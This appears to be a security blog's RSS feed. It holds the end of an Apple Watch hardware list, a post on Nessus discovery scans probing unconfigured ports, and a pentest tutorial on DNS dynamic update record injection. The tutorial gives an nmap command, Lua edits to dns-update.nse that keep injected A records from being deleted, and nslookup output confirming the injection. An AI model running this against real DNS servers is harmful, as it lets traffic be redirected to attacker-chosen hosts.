&lt;p&gt;&lt;em&gt;Released September 20 2019&lt;/em&gt; - The ‘Series 5’ brought a much requested feature in the “always-on display” as well as a Magnetometer/compass.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Always on display&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Magnetometer w/ compass function&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Apple S5 SiP&lt;/li&gt;
  &lt;li&gt;Improved ambient light sensor&lt;/li&gt;
  &lt;li&gt;Capacity 32GB&lt;/li&gt;
  &lt;li&gt;GPS (GNSS)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Edition&lt;/strong&gt;: Titanium&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;series-6&quot;&gt;Series 6&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;Released September 18, 2020&lt;/em&gt; - The ‘Series 6’ primary focus was the blood oxygen sensor suite supporting Apple’s continued push into health.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Blood oxygen sensors (SpO2 / VO2max)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Real-time/always on altimeter&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;U1 ultra wideband locator chip&lt;/li&gt;
  &lt;li&gt;Force Touch has been removed from the display&lt;/li&gt;
  &lt;li&gt;Apple S6 SiP&lt;/li&gt;
  &lt;li&gt;Dual-band WiFi (802.11 b/g/n 2.4GHz and 5GHz)&lt;/li&gt;
  &lt;li&gt;Larger Taptic Engine&lt;/li&gt;
  &lt;li&gt;3rd-generation optical heart sensor&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;series-7&quot;&gt;Series 7&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;Announced September 14, 2021&lt;/em&gt; - The ‘Series 7’ introduces new structural geometry which supports a larger overall display and a more durable design.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Larger display (40% smaller bezels, 20% larger screen)&lt;/strong&gt; | &lt;strong&gt;41mm and 45mm&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Updated screen geometry (improved crack resistance, 50% thicker front crystal, rounder corners)&lt;/li&gt;
  &lt;li&gt;70% brighter passive always-on display&lt;/li&gt;
  &lt;li&gt;Dust resistance w/ IP6X certification&lt;/li&gt;
  &lt;li&gt;Apple S7 SiP&lt;/li&gt;
  &lt;li&gt;33% faster charging&lt;/li&gt;
  &lt;li&gt;GPS (BeiDou)&lt;/li&gt;
  &lt;li&gt;Dual-band WiFi (802.11b/g/n 2.4GHz and 5 GHz Wi-Fi)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Edition&lt;/strong&gt;: Titanium&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;series-8&quot;&gt;Series 8&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;Announced September 7, 2022&lt;/em&gt; - The ‘Series 8’ is a light update over the previous generation, introducing body temperature sensors and an improved gyroscope.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Temperature sensors&lt;/strong&gt; (2)&lt;/li&gt;
  &lt;li&gt;High dynamic range 3-axis gyroscope (facilitates the Crash Detection feature)&lt;/li&gt;
  &lt;li&gt;Apple S8 SiP&lt;/li&gt;
  &lt;li&gt;High-g accelerometer (256-g)&lt;/li&gt;
  &lt;li&gt;Bluetooth 5.3&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;ultra&quot;&gt;Ultra*&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Announced September 7, 2022&lt;/em&gt; - The Apple Watch ‘Ultra’ is an entirely new line of Apple Watch, one that is meant for more extreme workouts and extreme environments. It improves on nearly every aspect of the watch and does so in a form factor that is far more rugged, &lt;em&gt;and more sizable&lt;/em&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Titanium casing&lt;/li&gt;
  &lt;li&gt;New body design (Flat screen, display edge protection, larger digital crown, crown guard, larger side button, etc…)&lt;/li&gt;
  &lt;li&gt;Larger 49mm case&lt;/li&gt;
  &lt;li&gt;Dual-frequency GPS (L1 and L5)&lt;/li&gt;
  &lt;li&gt;Vastly improved battery life (~36 hours | ~60 hours on low power mode)&lt;/li&gt;
  &lt;li&gt;100m Water resistance, MIL-STD 810H&lt;sup&gt;3&lt;/sup&gt;, EN13319 certified&lt;/li&gt;
  &lt;li&gt;2000 nits brightness&lt;/li&gt;
  &lt;li&gt;Action button (orange)&lt;/li&gt;
  &lt;li&gt;Dual speakers (40% louder)&lt;/li&gt;
  &lt;li&gt;Siren (audible up to 600 feet)&lt;/li&gt;
  &lt;li&gt;Three-Microphone array with beamforming&lt;/li&gt;
  &lt;li&gt;Depth gauge (40m/130ft)&lt;/li&gt;
  &lt;li&gt;Water temperature sensor&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;*&lt;/strong&gt; My current Apple Watch is the &lt;strong&gt;&lt;a href=&quot;#ultra&quot;&gt;Apple Watch Ultra&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;h1 id=&quot;series-9--ultra-2&quot;&gt;Series 9 &amp;amp; Ultra 2&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;Announced September 12, 2023&lt;/em&gt; - The ‘Series 9’ features a new double-tap interaction method and a brighter display.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Apple S9 SiP (5.6 bil transistors | +60% over last gen, enables double tap gesture) | 4-core Neural Engine&lt;/li&gt;
  &lt;li&gt;2x brighter display (up to 2000 nits, dims to 1 nit)&lt;/li&gt;
  &lt;li&gt;2nd-generation Ultra Wideband chip (U2)&lt;/li&gt;
  &lt;li&gt;WiFi 4 802.11n&lt;/li&gt;
  &lt;li&gt;Up to 64 GB SSD storage (&lt;em&gt;Ultra 2&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;Up to 3000 nits brightness (&lt;em&gt;Ultra 2&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ifixit.com/Teardown/Apple+Watch+Teardown/40655&quot;&gt;iFixit Apple Watch Series 0 Teardown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ifixit.com/Device/Apple_Watch_Series_1&quot;&gt;iFixit Apple Watch Series 1 Teardown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ifixit.com/Teardown/Apple+Watch+Series+2+Teardown/67385&quot;&gt;iFixit Apple Watch Series 2 Teardown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ifixit.com/Teardown/Apple+Watch+Series+3+Teardown/97521&quot;&gt;iFixit Apple Watch Series 3 Teardown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ifixit.com/Teardown/Apple+Watch+Series+4+Teardown/113044&quot;&gt;iFixit Apple Watch Series 4 Teardown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ifixit.com/Teardown/Apple+Watch+Series+5+Teardown/126205&quot;&gt;iFixit Apple Watch Series 5 Teardown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ifixit.com/Teardown/Apple+Watch+Series+6+Teardown/136694&quot;&gt;iFixit Apple Watch Series 6 Teardown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ifixit.com/Device/Apple_Watch_Series_7&quot;&gt;iFixit Apple Watch Series 7 Teardown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ifixit.com/Device/Apple_Watch_Series_9&quot;&gt;iFixit Apple Watch Series 9 Teardown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ifixit.com/Device/Apple_Watch_Ultra_2&quot;&gt;iFixit Apple Watch Ultra 2 Teardown&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Apple_Watch&quot;&gt;Apple Watch Wikipedia&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.gsmarena.com/compare.php3?idPhone1=10449&amp;amp;idPhone2=9321&amp;amp;idPhone3=9859&quot;&gt;GSMarena Apple Watch Comparison&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://support.apple.com/en_US/specs/applewatch&quot;&gt;Apple Watch Tech Specs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Wed, 23 Sep 2020 10:50:00 -0400</pubDate>
        <link>https://shellsharks.com/apple-watch-hardware</link>
        <guid isPermaLink="true">https://shellsharks.com/apple-watch-hardware</guid>
        
        <category>technology</category>
        
        <category>apple</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Nessus is Lying to Us [Updated]</title>
        <shark:summary><p>Part of any <strong>Vulnerability Management</strong> (<strong>VM</strong>) program is comprehensive, fast <strong>Host Discovery</strong> scans. Recently, I decided to take a closer look at the discovery scans configured within my organizations <em><a href="https://www.tenable.com/products/tenable-sc">Tenable.sc</a></em> instance with the goal of improving the speed and efficiency by which the scans would run. Here’s what everything looked like after some tweaking…</p>
</shark:summary>
        <description>&lt;p&gt;Part of any &lt;strong&gt;Vulnerability Management&lt;/strong&gt; (&lt;strong&gt;VM&lt;/strong&gt;) program is comprehensive, fast &lt;strong&gt;Host Discovery&lt;/strong&gt; scans. Recently, I decided to take a closer look at the discovery scans configured within my organizations &lt;em&gt;&lt;a href=&quot;https://www.tenable.com/products/tenable-sc&quot;&gt;Tenable.sc&lt;/a&gt;&lt;/em&gt; instance with the goal of improving the speed and efficiency by which the scans would run. Here’s what everything looked like after some tweaking…&lt;/p&gt;

&lt;div class=&quot;containbox&quot;&gt;
&lt;b&gt;UPDATE&lt;/b&gt; [9/25/2020]: An engineer from Tenable happened across this post and reached out to clarify some of the seemingly peculiar behavior described in the original post. First, on the topic of why Nessus scans ports you haven’t explicitly targeted -  Essentially, &lt;a href=&quot;https://community.tenable.com/s/article/Why-Is-Nessus-Scanning-Ports-Outside-Of-The-Port-Range&quot;&gt;according to Tenable&lt;/a&gt;, it really can’t be avoided. I pretty much knew this as I had previously found the built-in config file specifying ping methods and port targets. What I found more illuminating was that Nessus has a &lt;a href=&quot;https://community.tenable.com/s/article/Ping-Type-Order-Hierarchy&quot;&gt;Ping hierarchy&lt;/a&gt; where basically, it will try certain ping methods first and if they are successful, will NOT attempt subsequent ping methods. This answers why in cases where i specified certain ports be “pinged”, they were not actually targeted. This is because I had successful pings that preceded it, thus rendering pinging the arbitrary points unnecessary. Basically the point of the “Ping” portion of a Nessus scan is to find ONE piece of evidence a host is live rather than see &lt;i&gt;all the ways&lt;/i&gt; a host is live. So &lt;b&gt;Nessus may not in-fact be “lying” to us after all&lt;/b&gt;, but that doesnt make it any less confusing =).

...&lt;b&gt;End of Update&lt;/b&gt;
&lt;/div&gt;

&lt;p&gt;I got the scan policy whittled down to just two plugins, the &lt;em&gt;FQDN&lt;/em&gt; plugin (&lt;strong&gt;12053&lt;/strong&gt;) and the standard “&lt;em&gt;Nessus Scan Information&lt;/em&gt;” plugin (&lt;strong&gt;19506&lt;/strong&gt;).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/nessus-lies/allplugins.png&quot; alt=&quot;All Plugins&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/nessus-lies/fqdn.png&quot; alt=&quot;FQDN Plugin&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/nessus-lies/19506.png&quot; alt=&quot;19506 Plugin&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;I then disabled all port scanning and service discovery switches.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/nessus-lies/portscannersoff.png&quot; alt=&quot;Port Scanners Off&quot; /&gt;
&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/nessus-lies/servicediscoveryoff.png&quot; alt=&quot;Service Discovery Off&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Finally I disabled ARP and UDP ping methods in the “Host Discovery” tab of the scan policy, leaving only ICMP and TCP ping switches on (with TCP ping Destination ports of 22,80,135,139,443,445 and 1337) as shown below…&lt;/p&gt;

&lt;p&gt;&lt;em&gt;*The TCP ping port 1337 has been included here for demonstration purposes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/nessus-lies/tcppingon.png&quot; alt=&quot;Discovery Settings TCP Ping On&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I then logged into the cli for the &lt;em&gt;&lt;a href=&quot;https://www.tenable.com/products/nessus&quot;&gt;Nessus&lt;/a&gt;&lt;/em&gt; scanner which would be sending the scan traffic, started a network capture and observed what traffic this &lt;em&gt;very&lt;/em&gt; lightweight policy would send. My expectation of course, was that it would send exactly what I told it to - an ICMP ping as well as TCP pings to the specified ports. Instead, I got the following…&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/shellsharks/shellsharks.github.io/blob/master/static/files/tcppingon.txt&quot;&gt;Network Capture w/ TCP Pings ENABLED&lt;/a&gt;
&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Ok, so a couple observations… First, and most obviously, a lot more traffic was sent than I expected, including to ports I did not explicitly set. This seemed a bit strange, but after some &lt;a href=&quot;https://community.tenable.com/s/article/What-ports-does-built-in-represent&quot;&gt;research&lt;/a&gt; I found that Nessus has a &lt;em&gt;built-in&lt;/em&gt; set of ports it uses for its TCP Ping Methods. Typically, this port-set is requested by inputting ‘&lt;em&gt;default&lt;/em&gt;’ in the TCP destination ports for the “Ping Methods” section of the “Host Discovery” tab in the Nessus scan policy (…&lt;em&gt;inhales&lt;/em&gt;…). However, I did not specify ‘&lt;em&gt;default&lt;/em&gt;’, rather I put my own custom range in. Clearly Nessus is ignoring me here. Now the second, and more frustrating observation is that I don’t actually see the syn packet to my ‘1337’ port either!&lt;/p&gt;

&lt;p&gt;Alright, so let’s move on from the TCP Ping switch. Let’s observe the behavior when this switch is disabled completely…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/nessus-lies/tcppingoff.png&quot; alt=&quot;Discovery Settings TCP Ping Off&quot; /&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/shellsharks/shellsharks.github.io/blob/master/static/files/tcppingoff.txt&quot;&gt;Network Capture w/ TCP Pings DISABLED&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;…&lt;br /&gt;
… … …&lt;br /&gt;
Interesting…&lt;br /&gt;
…&lt;/p&gt;

&lt;p&gt;So even with TCP ping off, Nessus goes right ahead and tries to initiate some handshakes with a bunch of ports that look suspiciously like the ‘&lt;em&gt;default&lt;/em&gt;’ ports from before (also known as &lt;em&gt;ping_host4.inc&lt;/em&gt; file located on the Nessus box).&lt;/p&gt;

&lt;p&gt;At this point I gave up trying to convince the Nessus policy to obey me. But I was still curious, what would happen if I disabled everything, and I mean &lt;strong&gt;EVERYTHING&lt;/strong&gt; in the policy. I toggled every switch, even disabling ICMP pings. I turned off all plugins. I shut it all down. I then ran the scan… No change in behavior.
&lt;br /&gt;&lt;br /&gt;
Suffice it to say, &lt;strong&gt;Nessus is lying to us.&lt;/strong&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 20 Aug 2020 10:50:00 -0400</pubDate>
        <link>https://shellsharks.com/nessus-lies</link>
        <guid isPermaLink="true">https://shellsharks.com/nessus-lies</guid>
        
        <category>vm</category>
        
        <category>infosec</category>
        
        <category>tenable</category>
        
        <category>nessus</category>
        
        <category>blue</category>
        
        <category>technical</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>DNS Record Injection using Nmap and Nessus</title>
        <shark:summary><p>On a penetration test or as a result of a vulnerability scan you may encounter a “DNS Server Dynamic Update Record Injection” finding. <a href="https://www.tenable.com/products/nessus">Nessus</a> for example, is one such vulnerability scanner that can identify <a href="https://www.tenable.com/plugins/nessus/35372">this issue</a>. This vulnerability allows anyone with access to the afflicted DNS server (over UDP port 53) the ability to add or even <strong>remove</strong> DNS records to/from a zone. The danger of this vulnerability, put simply by the <a href="https://www.tenable.com/plugins/nessus/35372">Nessus plugin</a> itself is… “This protocol … could be subverted by malicious users to redirect network traffic.”</p>
</shark:summary>
        <description>&lt;p&gt;On a penetration test or as a result of a vulnerability scan you may encounter a “DNS Server Dynamic Update Record Injection” finding. &lt;a href=&quot;https://www.tenable.com/products/nessus&quot;&gt;Nessus&lt;/a&gt; for example, is one such vulnerability scanner that can identify &lt;a href=&quot;https://www.tenable.com/plugins/nessus/35372&quot;&gt;this issue&lt;/a&gt;. This vulnerability allows anyone with access to the afflicted DNS server (over UDP port 53) the ability to add or even &lt;strong&gt;remove&lt;/strong&gt; DNS records to/from a zone. The danger of this vulnerability, put simply by the &lt;a href=&quot;https://www.tenable.com/plugins/nessus/35372&quot;&gt;Nessus plugin&lt;/a&gt; itself is… “This protocol … could be subverted by malicious users to redirect network traffic.”&lt;/p&gt;

&lt;p&gt;OK, so Nessus has identified the vulnerability - great! As a penetration tester, you may be interested in exploring that vulnerability further. Let’s start digging into this by taking a closer look at the Nessus plugin itself. When found, the Nessus plugin will output… “Nessus was able to register a new A record into the following zone: [ZONE]”. This is an interesting message as it expresses that Nessus was actually able to &lt;em&gt;ADD&lt;/em&gt; a record. What is unclear is whether that record was subsequently deleted or what the record details were (e.g. hostname, IP, etc…) Without more control over how the Nessus plugin is executed we may not be able to take advantage of it for our malicious purposes. Instead, let’s take a look at &lt;a href=&quot;https://nmap.org&quot;&gt;Nmap&lt;/a&gt; and see if it has anything we can use…&lt;/p&gt;

&lt;h1 id=&quot;nmap-arsenal&quot;&gt;Nmap Arsenal&lt;/h1&gt;

&lt;p&gt;It turns out Nmap has functionality very similar to the &lt;em&gt;DNS Server Dynamic Update Record Injection&lt;/em&gt; plugin from Nessus. With a standard install, Nmap contains a suite of &lt;a href=&quot;https://nmap.org/book/nse.html&quot;&gt;NSE scripts&lt;/a&gt; (in &lt;em&gt;/usr/share/nmap/scripts&lt;/em&gt; on Kali), one of which is named &lt;strong&gt;dns-update.nse&lt;/strong&gt;. When the &lt;a href=&quot;https://nmap.org/nsedoc/scripts/dns-update.html&quot;&gt;dns-update.nse&lt;/a&gt; script is run against the vulnerable DNS server the output specifies that a record is successfully added and then subsequently deleted. (Syntax for running the NSE script and the output is shown below).&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nmap &lt;span class=&quot;nt&quot;&gt;-sU&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 53 &lt;span class=&quot;nt&quot;&gt;--script&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;dns-update &lt;span class=&quot;nt&quot;&gt;--script-args&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;dns-update.hostname&lt;span class=&quot;o&quot;&gt;=[&lt;/span&gt;new &lt;span class=&quot;nb&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;,dns-update.ip&lt;span class=&quot;o&quot;&gt;=[&lt;/span&gt;new ip] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;DNS server ip]

PORT   STATE SERVICE
53/udp open  domain
| dns-update:
|   Successfully added the record &lt;span class=&quot;s2&quot;&gt;&quot;nmap-test.cqure.net&quot;&lt;/span&gt;
|_  Successfully deleted the record &lt;span class=&quot;s2&quot;&gt;&quot;nmap-test.cqure.net&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Similar to the Nessus plugin, this NSE script can add a record to the zone but unlike the Nessus plugin, this script also lets us know what the hostname value of the record was and lets us know that the record was ALSO deleted. With this information in hand, let’s peek into the &lt;a href=&quot;https://svn.nmap.org/nmap/scripts/dns-update.nse&quot;&gt;NSE script code&lt;/a&gt; and see if we can’t get a better idea of what it is doing and how we might modify it to add a record of our choosing.&lt;/p&gt;

&lt;p&gt;After a closer inspection, I found that by commenting out a few lines of code in the NSE script I could remove the logic which deletes the A record after it had been added. The code to comment out is shown below…&lt;/p&gt;

&lt;div class=&quot;language-lua highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;err&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dns&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;update&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dtype&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ip&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;status&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;local&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;table.insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Successfully added the record &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;--local status = dns.update( name, { host=host, port=port, dtype=&quot;A&quot;, data=&quot;&quot;, ttl=0 } )&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;--if ( status ) then&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;--  table.insert(result, (&quot;Successfully deleted the record \&quot;%s\&quot;&quot;):format(name))&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;--else&lt;/span&gt;
      &lt;span class=&quot;nb&quot;&gt;table.insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Failed to delete the record &lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So now, by re-running the script “&lt;em&gt;nmap -sU -p 53 –script=dns-update –script-args=dns-update.hostname=[new hostname],dns-update.ip=[new ip] [DNS server ip]&lt;/em&gt;” you will be able to add a hostname without having that hostname deleted afterwards. This can be further verified using the &lt;em&gt;nslookup&lt;/em&gt; command…&lt;/p&gt;

&lt;p&gt;Setting DNS server to use in interactive Nslookup prompt…&lt;/p&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# nslookup&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; server &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;DNS server ip - &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;example 10.10.10.10]
Default server: 10.10.10.10
Address: 10.10.10.10#53
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Before running the NSE script exploit, the record you wish to inject will not be present.&lt;/p&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;.[zone]
Server:   10.10.10.10
Address:  10.10.10.10#53

&lt;span class=&quot;k&quot;&gt;***&lt;/span&gt; server can&lt;span class=&quot;s1&quot;&gt;&apos;t find test.zone: SERVFAIL
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After running the NSE script exploit you will see your injected record successfully resolves.&lt;/p&gt;
&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;hostname&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;.[zone]
Server:   10.10.10.10
Address:  10.10.10.10#53

Name:     test.zone
Address:  127.1.2.3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From here, you can being subsequent exploitation by having traffic routed to a domain of your choosing!&lt;/p&gt;

&lt;h1 id=&quot;weaponizing-nessus&quot;&gt;Weaponizing Nessus&lt;/h1&gt;

&lt;p&gt;With just a little bit of know-how, it is also possible to modify the Nessus plugin in a similar way to how we modified the Nmap NSE script to achieve the DNS record injection.&lt;/p&gt;

&lt;p&gt;First, on a box with Nessus installed, list all plugins (stored in &lt;em&gt;/opt/nessus/lib/nessus/plugins&lt;/em&gt;) and then search for the &lt;em&gt;plugin ID&lt;/em&gt; (which is 35372).&lt;/p&gt;

